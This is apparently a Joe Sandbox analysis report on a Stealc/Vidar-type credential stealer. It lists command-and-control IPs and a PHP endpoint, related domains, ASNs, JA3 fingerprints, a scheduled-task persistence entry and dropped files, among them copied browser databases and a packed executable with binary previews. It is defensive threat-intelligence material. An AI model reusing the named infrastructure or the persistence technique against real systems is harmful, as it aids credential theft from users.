18:45:17	Task Scheduler	Run new task: Telemetry Logging path: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
45.152.113.10	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10/92335b4816f77e90.php
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10/92335b4816f77e90.php
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10/92335b4816f77e90.php
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10/92335b4816f77e90.php
198.54.120.231	PM7K6PbAf0.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Neoreklami, PureLog Stealer, RedLine, Stealc	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
evokeedgellc.com	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	198.54.120.231
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	198.54.120.231
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	198.54.120.231

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NAMECHEAP-NETUS	fattigdomsrapporten.exe	Get hash	malicious	AgentTesla	Browse	63.250.42.136
	EGCS-875-S5-SMO M2A.exe	Get hash	malicious	FormBook	Browse	162.0.236.169
	PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Get hash	malicious	FormBook	Browse	162.0.239.141
	PM7K6PbAf0.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Neoreklami, PureLog Stealer, RedLine, Stealc	Browse	198.54.120.231
	OjKmJJm2YT.exe	Get hash	malicious	Simda Stealer	Browse	162.255.119.102
	M62eQtS9qP.exe	Get hash	malicious	Simda Stealer	Browse	162.255.119.102
	https://vigilantesecurity.ca/index.shtml	Get hash	malicious	Unknown	Browse	68.65.122.100
	PO00211240906.exe	Get hash	malicious	FormBook	Browse	162.0.236.169
	rfOfF6s6gI.exe	Get hash	malicious	FormBook	Browse	162.0.238.43
	4qV0xW2NSj.exe	Get hash	malicious	FormBook	Browse	162.0.238.43
CODECCLOUD-AS-APCodecCloudHKLimitedHK	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10
	PM7K6PbAf0.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Neoreklami, PureLog Stealer, RedLine, Stealc	Browse	45.152.113.10
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10
	file.exe	Get hash	malicious	Stealc	Browse	45.152.113.10
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse	45.152.113.10
	CVE-2024-38143 poc.exe	Get hash	malicious	Codoso Ghost, UACMe	Browse	38.147.172.126
	Setup.exe	Get hash	malicious	Go Injector, Stealc	Browse	45.152.114.50
	Setup.exe	Get hash	malicious	Go Injector, Stealc	Browse	45.152.114.50
	Setup.exe	Get hash	malicious	Go Injector, Stealc	Browse	45.152.115.116
	Setup.exe	Get hash	malicious	Go Injector, Stealc	Browse	45.152.114.50

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	198.54.120.231
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	198.54.120.231
	02_deb64ed.bin.exe	Get hash	malicious	GuLoader	Browse	198.54.120.231
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	198.54.120.231
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	198.54.120.231
	razrusheniye.bin.exe	Get hash	malicious	Unknown	Browse	198.54.120.231
	razrusheniye.bin.exe	Get hash	malicious	Unknown	Browse	198.54.120.231
	winzip76.exe	Get hash	malicious	Unknown	Browse	198.54.120.231
	fattigdomsrapporten.exe	Get hash	malicious	AgentTesla	Browse	198.54.120.231
	OriginalBLShippingDocumentsInvoiceAwbCIPL0000.bat	Get hash	malicious	Remcos, GuLoader	Browse	198.54.120.231

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	XpCyBwDzEt.exe	Get hash	malicious	Amadey, Clipboard Hijacker, CryptOne, Cryptbot, DanaBot, PureLog Stealer, RedLine	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	pL7MT5KllB.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
C:\ProgramData\BKKFCFBKFC.exe	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, Stealc, Vidar	Browse
	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer	Browse

Created / dropped Files

C:\ProgramData\AFHDAKJK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKEBFHIJECFIDGDGCGHCGIIECA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKKFCFBKFC.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: gHPYUEh253.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\ProgramData\CAFIJKFHIJKKEBGCFBFHIEBAFH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAECFIJDAAAKECBFCGHI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBKKFCBAKKFBGCBFHJDG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBKKFCBAKKFBGCBFHJDGDGDHCA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHDGCGIDAKEBKECAFIEH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EHJKJDGC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJJJECFIECBGDGCAAAEHIEGDGC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_fab89122467227f7a4623e0d76a2f3056b1afb8_97381b0a_b925b11e-6c28-4ad7-a9a4-2c3cfc74d448\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9189711231686056
Encrypted:	false
SSDEEP:	192:XREBN5EvZOyRUf0BU/7ExaGszuiFbZ24IO8uB:k6AgnBU/qadzuiFbY4IO8u
MD5:	329822ABE908E992334360B022786511
SHA1:	B6DF81A28EE1CE3FCD0E5D30113C63D12F2BAF5D
SHA-256:	249E1A2CF6AA7E1F1EE75E80655E936BC4F2299E4984C068E58EEC8B425FC2E9
SHA-512:	D93976F1716F1E5D7FFDCB62542E57E1A30FB06FE3E5233B8787073BE7E0A574D5E25CA0B296927ECCFBB41C4889D4339C07A1511878AAE0843D026A838673D9
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.0.3.7.3.8.9.9.2.2.4.4.0.2.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.0.3.7.3.8.9.9.6.9.3.1.5.7.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.9.2.5.b.1.1.e.-.6.c.2.8.-.4.a.d.7.-.a.9.a.4.-.2.c.3.c.f.c.7.4.d.4.4.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.8.b.7.c.4.a.3.-.1.e.9.0.-.4.7.4.f.-.a.1.1.c.-.8.a.f.c.1.f.e.c.4.1.f.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.V.Q.P...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.f.8.-.0.0.0.1.-.0.0.1.4.-.6.5.4.f.-.5.2.9.b.d.7.0.2.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.3.b.b.9.3.5.2.a.8.0.9.a.e.9.a.1.5.6.5.b.b.4.a.6.a.c.1.e.e.0.d.a.0.0.0.0.0.0.0.0.!.0.0.0.0.9.8.3.b.4.6.b.4.1.0.c.a.8.e.4.1.c.7.9.9.7.8.c.4.8.e.3.4.c.7.6.e.a.a.c.f.9.d.3.4.!.f.i.l.e...e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE197.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Sep 9 16:44:59 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	180283
Entropy (8bit):	4.048048108247347
Encrypted:	false
SSDEEP:	1536:aYepN4uE2aOi7LTgTrxbiuKcP+SVXkPAh3RtCD0tT/+mxuBojRHhU:al4uEqILTgTtuJcP+yb32Oz+sHh
MD5:	B4A1A9611B6871FC162D7E4786850153
SHA1:	55A9809BC890E7B699546B1439328A61B3A2BEB4
SHA-256:	9B663388B02EF5A6CA1946908FB35711AF3B575C01AF88C49973B009A6D27C6A
SHA-512:	768A129294E23D50C56D8A347EC8CE5968CB317F145A09A8F29417DEA8BE540AE0C1CC983ECEB30FBACB9238DA594ABBC959773E99D7B7FD3AE248261A7D976F
Malicious:	false
Preview:	MDMP..a..... ........&.f....................................$...............$9..........`.......8...........T............$..s.......................................................................................................eJ......L.......GenuineIntel............T............&.f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE263.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8364
Entropy (8bit):	3.6924320277711917
Encrypted:	false
SSDEEP:	192:R6l7wVeJqCP68I6YEIXSUD3rvgmfZDNtSpr189b9HsfAu/m:R6lXJR68I6YEYSUrrvgmf3tF9Mfe
MD5:	270DA9B21496AC2115D2104499EDFD6C
SHA1:	15517F34588AE1129D8D77999B7C7DEFECA5C20E
SHA-256:	86B17F1660FA26651C1C5B8B8F01FDCCE3E02AB2020BA53E3497D8C7404BCCB7
SHA-512:	D4E53F3CAA2C5D704E274272AA2E9836ADAA7F864DBDF5086598D57B56F77836001C6A42C096EEA8E426E988813905C8CBCF015935E1235789C1A10BBFC05478
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.3.9.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE293.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4714
Entropy (8bit):	4.445332344451157
Encrypted:	false
SSDEEP:	48:cvIwWl8zsdJg77aI9aFWpW8VYeYm8M4JGzFf+q8vqdI/hkpxd:uIjf3I7Y07VeJsKUWkDd
MD5:	426D2C13202EDD61C7DE8876ADC481E3
SHA1:	F012ABF287DD8B456207ECB6C60491892A6C046B
SHA-256:	34225AECBA566559EC8688D9B1BAE0065ECEBC9F93DC4CD4778CC356A00B61D8
SHA-512:	40B6E82EC34E19F00A1B4FBC8EAD74A2384934E89D2DF00389BC810B8F9DA1C5E3B505B1F2B3F24CF8377456ACF1ADD17271158BB611852C96B38A4C26F280AE
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="492947" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: XpCyBwDzEt.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: pL7MT5KllB.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
